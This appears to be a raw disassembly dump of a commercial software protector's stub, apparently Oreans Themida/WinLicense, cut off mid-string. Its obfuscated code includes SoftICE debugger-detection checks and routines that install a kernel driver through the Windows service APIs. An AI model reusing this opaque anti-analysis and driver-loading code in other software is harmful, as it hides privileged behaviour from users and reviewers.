67527CB6h, 20CF6C64h, 0F2B43DBBh dd 0E3365276h, 82990D2Ah, 4F2B1A94h, 0E73D628Fh, 32E26DCCh dd 0B9263AE0h, 5DB65100h, 0E17A6515h, 8EE94A94h, 722612A2h dd 0E8036D9Eh, 0D3B11A71h, 10E8240Fh, 27000000h, 0CDCFE126h dd 0FF980036h, 0EBE16AA8h, 8A706450h, 0F565EEEh, 68Bh dd 11CB8100h, 594E6B77h, 659CC681h, 87B10000h, 68h, 583AB300h dd 0F31BBF52h, 0FF5953F8h, 8F0F3034h, 4, 59FB8B53h, 0FFB70F5Ah dd 0D99EEA81h, 0F2816F99h, 77017C2Fh, 0BBE18166h, 0EEEA81E2h dd 8074C388h, 0BF52E7CBh, 23D33937h, 0E906048Fh, 0Eh, 0BEBB3CE8h dd 0CF2282CAh, 0E70E2A04h, 8166DEB9h, 832B37F1h, 0BE802E8h dd 6F000000h, 6EF0E75Fh, 2EA93D70h, 12E95D37h, 30000000h dd 789B02BBh, 0AE150C05h, 0BD84161Ah, 7C1819A7h, 48485BD2h dd 238DC781h, 0F8811B2Eh, 0FFFF9B4Ch, 0F850Fh, 0B9660000h dd 20E9DD0Eh, 9C000000h, 8C7FF3C9h, 12C38101h, 0E9690282h dd 0FFFFFF5Bh, 601A085Dh, 9CF564F3h, 70FB772Dh, 0E9CCE960h dd 8Eh, 21BD8360h, 6072Eh, 5840Fh, 79E90000h, 6A000000h dd 303E8000h, 8850Fh, 6A0000h, 35E946h, 3E800000h, 8850F33h dd 6A000000h, 24E94610h, 80000000h, 850F343Eh, 8, 0E946306Ah dd 13h, 0F353E80h, 885h, 46406A00h, 2E9h, 80006A00h, 850F203Eh dd 12h, 17E80h, 8850Fh, 0C4830000h, 16E908h, 858D0000h dd 6072AE1h, 24048950h, 24348950h, 95FF006Ah, 6071BB9h dd 85C6C361h, 6072C05h, 0D0FD684Dh, 3481E722h, 17A65524h dd 1B5FF43h, 8D06071Bh, 73B2485h, 89D0FF06h, 71BB985h dd 0AAE906h, 6F530000h, 61777466h, 575C6572h, 694C6E69h dd 736E6563h, 68430065h, 496B6365h, 7058004Eh, 45746F72h dd 746978h, 63656843h, 54554F6Bh, 6E695700h, 6563694Ch dd 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h dd 69724465h, 56726576h, 69737265h, 57006E6Fh, 694C6E69h dd 736E6563h, 736E4965h, 636E6174h, 78450065h, 6B4F7469h dd 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h, 45004E49h dd 4F746978h, 54005455h, 4E4970h, 3 dup(0) dd 77DDAF7Fh, 77DD72F0h, 596E9h, 0CA858900h, 8D0609A7h dd 9A7C685h, 858D5006h, 609A730h, 16850h, 95FF8000h, 609A7D6h dd 0B5FF196Ah, 609A7CAh, 6A016Ah, 0A75F858Dh, 0FF500609h dd 9A7C6B5h, 9195FF06h, 0FF060714h, 9A7C6B5h, 0D295FF06h dd 0FF0609A7h, 9A7C6B5h, 7995FF06h, 0C306070Ah, 0A7CA8589h dd 858D0609h, 609A7C6h, 30858D50h, 500609A7h, 168h, 0D695FF80h dd 6A0609A7h, 0CA858D04h, 500609A7h, 6A046Ah, 0A789858Dh dd 0FF500609h, 9A7C6B5h, 9195FF06h, 0FF060714h, 9A7C6B5h dd 0D295FF06h, 0FF0609A7h, 9A7C6B5h, 7995FF06h, 0C306070Ah dd 0A7CA8589h, 858D0609h, 609A7C6h, 30858D50h, 500609A7h dd 168h, 0D695FF80h, 6A0609A7h, 0CA858D04h, 500609A7h dd 6A046Ah, 0A771858Dh, 0FF500609h, 9A7C6B5h, 9195FF06h dd 0FF060714h, 9A7C6B5h, 0D295FF06h, 0FF0609A7h, 9A7C6B5h dd 7995FF06h, 0C306070Ah, 0A7CA8589h, 858D0609h, 609A7C6h dd 30858D50h, 500609A7h, 168h, 0D695FF80h, 6A0609A7h, 0CA858D04h dd 500609A7h, 6A046Ah, 0A79C858Dh, 0FF500609h, 9A7C6B5h dd 9195FF06h, 0FF060714h, 9A7C6B5h, 0D295FF06h, 0FF0609A7h dd 9A7C6B5h, 7995FF06h, 0C306070Ah, 0A7CA8589h, 858D0609h dd 609A7C6h, 30858D50h, 500609A7h, 168h, 0D695FF80h, 6A0609A7h dd 0CA858D04h, 500609A7h, 6A046Ah, 0A74C858Dh, 0FF500609h dd 9A7C6B5h, 9195FF06h, 0FF060714h, 9A7C6B5h, 0D295FF06h dd 0FF0609A7h, 9A7C6B5h, 7995FF06h, 0C306070Ah, 0FE1BD83h dd 0F000607h, 0B84h, 0E19D8B00h, 8306070Fh, 3894CC3h, 0E1BD83C3h dd 6070Fh, 0B840Fh, 9D8B0000h, 6070FE1h, 8950C383h, 0BD83C303h dd 6070FE1h, 0B840F00h, 8B000000h, 70FE19Dh, 54C38306h dd 83C30389h, 70FE1BDh, 840F0006h, 0Bh, 0FE19D8Bh, 0C3830607h dd 0C3038958h, 0FE1BD83h, 0F000607h, 0B84h, 0E19D8B00h dd 8306070Fh, 3895CC3h, 8960C3C3h, 9A7CA85h, 0C6858D06h dd 500609A7h, 0A730858Dh, 68500609h, 80000001h, 0A7D695FFh dd 46A0609h, 0A7CA858Dh, 6A500609h, 8D006A04h, 9A7C185h dd 0B5FF5006h, 609A7C6h, 149195FFh, 0BD830607h, 6070FF5h dd 0C840F00h, 0FF000000h, 9A7C6B5h, 0D295FF06h, 0FF0609A7h dd 9A7C6B5h, 7995FF06h, 6106070Ah, 858960C3h, 609A7CAh dd 0A7C6858Dh, 8D500609h, 9A73085h, 1685006h, 0FF800000h dd 9A7D695h, 8D046A06h, 9A7CA85h, 46A5006h, 858D006Ah dd 609A7A3h, 0C6B5FF50h, 0FF0609A7h, 7149195h, 0F5BD8306h dd 6070Fh, 0C840Fh, 0B5FF0000h, 609A7C6h, 0A7D295FFh, 0B5FF0609h dd 609A7C6h, 0A7995FFh, 0C3610607h, 0CA858960h, 8D0609A7h dd 9A7C685h, 858D5006h, 609A730h, 16850h, 95FF8000h, 609A7D6h dd 858D046Ah, 609A7CAh, 6A046A50h, 0AA858D00h, 500609A7h dd 0A7C6B5FFh, 95FF0609h, 6071491h, 0FF5BD83h, 0F000607h dd 0C84h, 0C6B5FF00h, 0FF0609A7h, 9A7D295h, 0C6B5FF06h dd 0FF0609A7h, 70A7995h, 60C36106h, 0A7CA8589h, 858D0609h dd 609A7C6h, 30858D50h, 500609A7h, 168h, 0D695FF80h, 6A0609A7h dd 0CA858D04h, 500609A7h, 6A046Ah, 0A7B2858Dh, 0FF500609h dd 9A7C6B5h, 9195FF06h, 83060714h, 70FF5BDh, 840F0006h dd 0Ch, 0A7C6B5FFh, 95FF0609h, 609A7D2h, 0A7C6B5FFh, 95FF0609h dd 6070A79h, 8960C361h, 9A7CA85h, 0C6858D06h, 500609A7h dd 0A730858Dh, 68500609h, 80000001h, 0A7D695FFh, 46A0609h dd 0A7CA858Dh, 6A500609h, 8D006A04h, 9A7B985h, 0B5FF5006h dd 609A7C6h, 149195FFh, 0BD830607h, 6070FF5h, 0C840F00h dd 0FF000000h, 9A7C6B5h, 0D295FF06h, 0FF0609A7h, 9A7C6B5h dd 7995FF06h, 6106070Ah, 85C760C3h, 609A7CAh, 1, 0A7C6858Dh dd 8D500609h, 9A73085h, 2685006h, 0FF800000h, 9A7D695h dd 0FC00B06h, 0F84h, 0CA85C700h, 609A7h, 0E9000000h, 4Dh dd 858D046Ah, 609A7CAh, 6A046A50h, 44858D00h, 500609A7h dd 0A7C6B5FFh, 95FF0609h, 6071491h, 840FC00Bh, 0Fh, 0A7CA85C7h dd 609h, 0AE90000h, 0C7000000h, 9A7CA85h, 106h, 0C6B5FF00h dd 0FF0609A7h, 70A7995h, 858B6106h, 609A7CAh, 858960C3h dd 609A7CAh, 0A7C6858Dh, 8D500609h, 9A73085h, 1685006h dd 0FF800000h, 9A7D695h, 8D046A06h, 9A7CA85h, 46A5006h dd 858D006Ah, 609A744h, 0C6B5FF50h, 0FF0609A7h, 7149195h dd 0F5BD8306h, 6070Fh, 0C840Fh, 0B5FF0000h, 609A7C6h, 0A7D295FFh dd 0B5FF0609h, 609A7C6h, 0A7995FFh, 0C3610607h, 0CA858960h dd 8D0609A7h, 9A7C685h, 858D5006h, 609A730h, 16850h, 95FF8000h dd 609A7D6h, 858D046Ah, 609A7CAh, 6A046A50h, 56858D00h dd 500609A7h, 0A7C6B5FFh, 95FF0609h, 6071491h, 0FF5BD83h dd 0F000607h, 0C84h, 0C6B5FF00h, 0FF0609A7h, 9A7D295h dd 0C6B5FF06h, 0FF0609A7h, 70A7995h, 0C6C36106h, 72C0585h dd 7685206h, 0FFADE47Bh, 71E95B5h, 0AD95FF06h, 8906070Ah dd 9A7D685h, 585C606h, 5206072Ch, 2E00E568h, 95B5FF90h dd 0FF06071Eh, 70AAD95h, 0D2858906h, 0C60609A7h, 72C0585h dd 35685206h, 0FFB9BF12h, 71E95B5h, 0AD95FF06h, 8906070Ah dd 7149185h, 585C606h, 5206072Ch, 78103468h, 95B5FF98h dd 0FF06071Eh, 70AAD95h, 79858906h, 0C606070Ah, 72C0585h dd 0D4685206h, 0FFC005DBh, 71E95B5h, 0AD95FF06h, 8906070Ah dd 7308D85h, 5C1EEB06h, 535C2E5Ch, 454349h, 5C2E5C5Ch dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 66C08B00h dd 83BF26B9h, 70FF5BDh, 9750006h, 3001BD83h, 74000607h dd 8B535019h, 40FB8C0h, 85890000h, 60709D5h, 0ACA79D8Dh dd 0D3FF0609h, 0BD83585Bh, 6073001h, 50177400h, 40FB853h dd 85890000h, 60709D5h, 0A9969D8Dh, 0D3FF0609h, 9D89585Bh dd 6072599h, 10E9h, 0C698200h, 1DDB45B9h, 0FA1FB4E6h, 0AD456347h dd 6AC08BF8h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 9829C352h, 85C6F9DEh, 6072C05h dd 0D3616843h, 8B66CC51h, 243481F2h, 70DFBD9Dh, 8FD18166h dd 2DB5FF31h, 8B06071Bh, 24858DD1h, 0F06073Bh, 98Eh, 38A0F00h dd 80000000h, 0D0FF51EAh, 169DB52Bh, 66500607h, 897DE8B9h dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 6C8BDFC3h, 0DCBEF5BEh, 0F006A37h, 38Eh, 0F98B6600h dd 276F6468h, 0AE8DFh, 48A30000h, 0A4DAE60Bh, 98551F55h dd 24048159h, 20D8911Ch, 0B589036Ah, 6071619h, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 6C4C55C3h, 0D94FCB89h, 6A036ABBh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 5F7BC357h dd 66830213h, 681A59BEh, 0FD12275Dh, 3481CF8Bh, 12275D24h dd 0BD95093Dh, 8D060707h, 9AE0D9Dh, 719D8906h, 50060700h dd 6A241C89h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 1106C351h, 0B70FF13Eh, 6E9FEh dd 52170000h, 0B4108C40h, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0C649CC3h, 9C9BE62Ah dd 81666056h, 0FC0C27C7h, 0F405961h, 27185h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 7059532h, 58F2366Fh, 6E850h, 0DA7F0000h, 0FF05FD93h dd 0BA616060h, 2FC198B4h, 4895961h, 10E824h, 4D810000h dd 0C6BF3E17h, 4AAE858Bh, 0EA3A5E44h, 2360B42Ah, 726698Dh dd 7CD98006h, 6A5961h, 0E8CBBF0Fh, 4, 80h, 50CE8B66h, 598DB657h dd 424448Bh, 8BF98Bh, 4489F18Bh, 0D5BE0424h, 583C95DCh dd 2E71B58Bh, 36A0607h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 1AC35343h, 8938D086h, 1A58D8Bh, 6A0607h dd 6CFFB1BFh, 6A036A39h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0A162C357h, 2CD99D89h dd 6A680607h, 56F44633h, 2434815Ah, 3446336Ah, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 58C35141h, 37918F84h dd 2E69BD8Bh, 9D8D0607h, 609AE16h, 4E9BD89h, 0B70F0607h dd 525050FBh, 585A310Fh, 0E9241C89h, 0Bh, 8B2923B2h, 0FD58CFC6h dd 6689944Ch, 9138F281h, 0B70FD0FFh, 6800FCAh, 8B000000h dd 700F5B5h, 850F4006h, 116h, 5827B1F9h, 0B650FA8Bh, 24048994h dd 600F71BFh, 0CDBD8939h, 6A060721h, 0C7816600h, 0E8FCB106h dd 4, 80h, 1FBFBA51h, 505A0685h, 448B27B5h, 0AE90424h dd 0F4000000h, 0D77AFCBFh, 0B7177C4Bh, 8B008B6Dh, 244489FAh dd 0D08B5804h, 0BEB9036Ah, 6A230E43h, 23036A00h, 72E6DBDh dd 4E806h, 0 dd 5050C000h, 5ED1BE52h, 310F2C4Dh, 7F4DBA56h, 5A5942F8h dd 24448B58h, 8B665304h, 8B59CBh, 12E8h, 79207100h, 0FB583DD9h dd 831238B3h, 0B95B6032h, 8B1E30AAh, 44895ED0h, 8B660424h dd 0B70F58F0h, 219D8DF2h, 8B0609AEh, 7221995h, 0D1816606h dd 51931EBAh, 7E8h, 0F9AFE800h, 625019EFh, 860Fh, 5A5A0000h dd 8B575650h, 935A5AC8h, 1E99BD09h, 0D0FF0607h, 31D18D89h dd 0F400607h, 2585h, 29BD8B00h, 58060722h, 1CA18D89h, 11E90607h dd 0E9000001h, 0Eh, 38F06F1h, 837B66E8h, 909B1A65h, 0D88B41DCh dd 32B98D8Bh, 564B0607h, 6A585FF8h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0FE16C351h dd 0CAC07ED6h, 0A9950114h, 0C606072Bh, 72C0585h, 958B4306h dd 6070C79h, 25B42668h, 243481EBh, 2B53FE81h, 68C0Fh, 0B58B0000h dd 60727A1h, 1EE98589h, 0B5FF0607h, 6071B2Dh, 21264CBFh dd 0E9B5895Eh, 8D060707h, 73B2485h, 0FE806h, 35550000h dd 0CE93FD69h, 0B7F927B4h, 0EEA9FD0Fh, 0DBD9817Dh, 5F5C337Fh dd 0EE81D0FFh, 216E5607h, 9E9h, 4682C600h, 0E51EFE1h, 6650AD1Ch dd 89983FB9h, 8D89241Ch, 6070101h, 35858960h, 8B060710h dd 0D0FF61D3h, 8DF8BF0Fh, 76D689Dh, 0B9858906h, 0B806072Bh dd 1, 129B58Bh, 0E3FF0607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0ABC35545h, 0CF7CE3BAh, 880FC18Bh, 6 dd 0FB19523h, 0C08B0607h, 1FA1BD8Bh, 0BD830607h, 6070FF5h dd 83097500h, 73001BDh, 19740006h, 0C08B5350h, 40FB8h dd 5D858900h, 8D060726h, 9AD0E9Dh, 5BD3FF06h, 1BD8358h dd 60730h, 53501774h, 40FB8h, 5D858900h, 8D060726h, 9A9AF9Dh dd 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 5FBCAB14h, 0AFBF1DEAh, 66F78AB6h dd 0EE9D08Bh, 0EF000000h, 52338349h, 4096D0C4h, 363580A0h dd 0E8C08BB8h, 13h, 0EAE3A87Eh, 37A3CA39h, 86068638h, 12492C34h dd 6009980Ah, 0E959F951h, 7, 33DC1A8Ch, 61894075h, 48D0F5Fh dd 66000000h, 81D824BBh, 5C21C7h, 0CAA2BB00h, 0BA02BFh dd 8B000000h, 170C8BDEh, 21882EBBh, 78E98139h, 577AA8F6h dd 4F754EB8h, 0F181582Eh, 34010B1h, 68A0Fh, 0BD890000h dd 6071FB1h, 923EC181h, 0CB8020C2h, 0BE9513Dh, 16000000h dd 0F1DE1F38h, 4119EE0Dh, 48F31BAh, 979B417h, 70A71B5h dd 2EA8306h, 19A59D8Bh, 4A4A0607h, 22199D8Bh, 0FA810607h dd 0FFFFA4B4h, 16850Fh, 95890000h, 60711E1h, 24E9h, 0CD686900h dd 0DB960D29h, 0A79A334h, 6870Fh, 0BD890000h, 6070AA1h dd 0FFFF70E9h, 0D80D83FFh, 940BE6DAh, 99E9FEh, 622F0000h dd 68636775h, 326B6365h, 75622F00h, 65686367h, 2F006B63h dd 63726F66h, 6E757265h, 75622F00h, 65686367h, 75666B63h dd 2F006C6Ch, 776F6873h, 65646F63h, 68732F00h, 6F63776Fh dd 326564h, 726C632Fh, 642F0074h, 317369h, 6F68732Fh, 736E6977h dd 636E6174h, 672F0065h, 6C777465h, 74617473h, 2F007375h dd 73676F6Ch, 75746174h, 642F0073h, 73706D75h, 75746174h dd 73h, 632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh dd 83000000h, 9B594BDh, 840F0006h, 0Ah, 300185C7h, 10607h dd 85C60000h, 6072C05h, 0CFBE6847h, 4818A42h, 2A9CCF24h dd 2DB5FF06h, 8D06071Bh, 73B2485h, 0FFD0FF06h, 80F88BD0h dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 1E840F00h dd 47000003h, 0F003F80h, 31484h, 1EE900h, 3F800000h, 6840F00h dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h, 0FFFFFFE2h dd 0F003F80h, 585h, 2E3E900h, 1E90000h, 47000000h, 0F203F80h dd 0FFFFF684h, 3F80FFh, 5850Fh, 0C6E90000h, 0E8000002h dd 0Ah, 0FFFFCBE9h, 2B7E9FFh, 0B58D0000h, 609B514h, 225E8h dd 0A9BD0300h, 830609B5h, 9B5A9BDh, 840F0006h, 0Bh, 0FF585C7h dd 10607h, 8DC30000h, 9B51FB5h, 1FCE806h, 0BD030000h, 609B5A9h dd 0B5A9BD83h, 0F000609h, 0B84h, 185C700h, 1060730h, 0C3000000h dd 0B598B58Dh, 0D3E80609h, 3000001h, 9B5A9BDh, 0A9BD8306h dd 609B5h, 0B840Fh, 85C70000h, 6072E21h, 1, 29B58DC3h dd 0E80609B5h, 1AAh, 0B5A9BD03h, 0BD830609h, 609B5A9h dd 0B840F00h, 0C7000000h, 7300185h, 106h, 0B58DC300h, 609B533h dd 181E8h, 0A9BD0300h, 830609B5h, 9B5A9BDh, 840F0006h dd 15h, 300185C7h, 10607h, 85C70000h, 6070FF5h, 1, 41B58DC3h dd 0E80609B5h, 14Eh, 0B5A9BD03h, 0BD830609h, 609B5A9h dd 0A840F00h, 0C7000000h, 702B585h, 106h, 4BB58D00h, 0E80609B5h dd 126h, 0B5A9BD03h, 0BD830609h, 609B5A9h, 0A840F00h, 0C7000000h dd 702B585h, 106h, 56B58D00h, 0E80609B5h, 0FEh, 0B5A9BD03h dd 0BD830609h, 609B5A9h, 0A840F00h, 0C7000000h, 71FBD85h dd 106h, 5CB58D00h, 0E80609B5h, 0D6h, 0B5A9BD03h, 0BD830609h dd 609B5A9h, 0A840F00h, 0C7000000h, 7209985h, 106h, 62B58D00h dd 0E80609B5h, 0AEh, 0B5A9BD03h, 0BD830609h, 609B5A9h dd 0A840F00h, 0C7000000h, 7329185h, 106h, 70B58D00h, 0E80609B5h dd 86h, 0B5A9BD03h, 0BD830609h, 609B5A9h, 0A840F00h, 0C7000000h dd 7024985h, 106h, 7DB58D00h, 0E80609B5h, 5Eh, 0B5A9BD03h dd 0BD830609h, 609B5A9h, 0A840F00h, 0C7000000h, 7110185h dd 106h, 88B58D00h, 0E80609B5h, 36h, 0B5A9BD03h, 0BD830609h dd 609B5A9h, 0A840F00h, 0C7000000h, 7088585h, 106h, 1E900h dd 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h, 0B960C3FFh dd 1, 1FE9DE8Bh, 80000000h, 850F003Fh, 5, 0B9h, 38178A00h dd 5840F16h, 0B9000000h, 0 aFga db 'FG>',0 db 0Fh, 84h, 8 dd 0B000000h, 0D0850FC9h, 0BFFFFFFh, 21840FC9h, 80000000h dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h dd 0 dd 840FC90Bh, 0Dh, 0B589F32Bh, 609B5A9h, 0AE9h, 0A985C700h dd 609B5h, 61000000h, 0B8C3h, 0C00B0000h, 0A840Fh, 85C70000h dd 60702B5h, 0 dd 12E8C88Bh, 2C000000h, 5CB1E640h, 0BBC015E6h, 7CC47EF2h dd 0F4A230DEh, 0BA59FC12h, 520723F5h, 5B80C181h, 27BB0000h dd 0B8344991h, 36293B84h, 0DB28C081h, 0BD89C9D6h, 60707C9h dd 14E831FFh, 7D000000h, 0E43A18F7h, 3185748Ch, 0CB0E8670h dd 15B6CB2Ah, 529BD1D0h, 5F5BE6B6h, 0FAB70F5Eh, 7647EE81h dd 0B5296DBDh, 6072C5Dh, 8F21C681h, 9D0B2C38h, 6072839h dd 976BEE81h, 0BB666A01h, 8156692Bh, 486D77DAh, 8B018F15h dd 7326195h, 1E98306h, 1B7DBD23h, 49490607h, 0D7BF0F49h dd 1E881h, 850F0000h, 1Eh, 2AB98589h, 24E90607h, 0CE000000h dd 598D5399h, 0B619FD3Fh, 78C72B3Bh, 63606A91h, 0BD2BB66Ch dd 6071D55h, 0FFFF67E9h, 0F6E92AFFh, 0E954BC72h, 20Eh dd 6E614333h, 20746F6Eh, 74697277h, 726F2065h, 736E6165h dd 6478762Eh, 614D0D0Ah, 7320656Bh, 20657275h, 74616874h dd 69687420h, 69662073h, 6920656Ch, 6F6E2073h, 65622074h dd 20676E69h, 64657375h, 20796220h, 746F6E61h, 20726568h dd 676F7270h, 2E6D6172h, 68h dup(0) aOreans_vxd db '\Oreans.vxd',0 dd 2 dup(0) dd 0EFE90000h, 0C6000000h, 72C0585h, 86684706h, 0FFE3E45Bh dd 71B2DB5h, 24858D06h, 0FF06073Bh, 10468D0h, 9D8D0000h dd 6070EA5h, 50D0FF53h, 0BC12B58Dh, 0FE8B0609h, 0FAEC032h dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 2C0585C6h dd 68430607h, 0BC8E6EFCh, 1B2DB5FFh, 858D0607h, 6073B24h dd 0B58DD0FFh, 6070EA5h, 8068006Ah, 6A000000h, 6A006A02h dd 6800h, 0FF56C000h, 0C6D88BD0h, 72C0585h, 56685706h dd 0FFA69BEEh, 71B2DB5h, 24858D06h, 0FF06073Bh, 51BD8DD0h dd 8D060701h, 9BD388Dh, 57006A06h, 37D068h, 0FF535100h dd 0FC085D0h, 1B85h, 1AB58D00h, 8D0609BAh, 9A67685h, 8DD0FF06h dd 76D688Dh, 0B806h, 0E1FF0000h, 2C0585C6h, 68430607h dd 0C0764AA7h, 1B2DB5FFh, 858D0607h, 6073B24h, 0FF53D0FFh dd 0D0B9C3D0h, 0E8000037h, 0 dd 0EC08358h, 2E90889h, 8B000000h, 37D0E9C3h, 5A4D0000h dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0 dd 400000h, 8 dup(0) dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h dd 240A0Dh, 0 dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0 dd 454C0000h, 0 dd 20000h, 4, 80000000h, 140003h, 4 dup(0) dd 2000000h, 1C00000h, 900000h, 0 dd 7E0000h, 0 dd 0C40000h, 10000h, 0DC0000h, 3 dup(0) dd 12C0000h, 1380000h, 2 dup(0) dd 1420000h, 1960000h, 1D20000h, 0 dd 1D20000h, 0 dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0) dd 27C00400h, 0 dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h dd 30001h, 2 dup(0) dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h dd 360h dup(0) dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h dd 8 dup(0) dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h dd 5273h, 9C3h dup(0) dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0) dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 0B7E90000h dd 41000010h, 50415644h, 2E323349h, 4C4C44h, 6E65704Fh dd 614D4353h, 6567616Eh, 43004172h, 74616572h, 72655365h dd 65636976h, 74530041h, 53747261h, 69767265h, 416563h dd 4E746547h, 76697461h, 73795365h, 496D6574h, 6F666Eh dd 6E65704Fh, 76726553h, 41656369h, 6C654400h, 53657465h dd 69767265h, 43006563h, 65736F6Ch, 76726553h, 48656369h dd 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch, 65636976h dd 8 dup(0) dd 65726F00h, 33736E61h, 79732E32h, 73h, 0 dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0) aOreans32 db 'oreans32',0 a_Oreans32 db '\\.\oreans32',0 a_GlobalOreans3 db '\\.\Global\oreans32',0 aOreansx64 db 'oreansx64',0 a_GlobalOreansx db '\\.\Global\oreansx64',0 align 4 dd 41h dup(0) dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h dd 736E6165h, 732E3233h, 7379h, 48h dup(0) dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h dd 676F7270h, 2E6D6172h, 59h dup(0) dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0) dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0) dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0) aSOreans_vxd db '%s\Oreans.vxd',0 align 10h aXprotevent db 'XprotEvent',0 align 4 dd 0Ah dup(0) dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h dd 20726F66h, 73696874h, 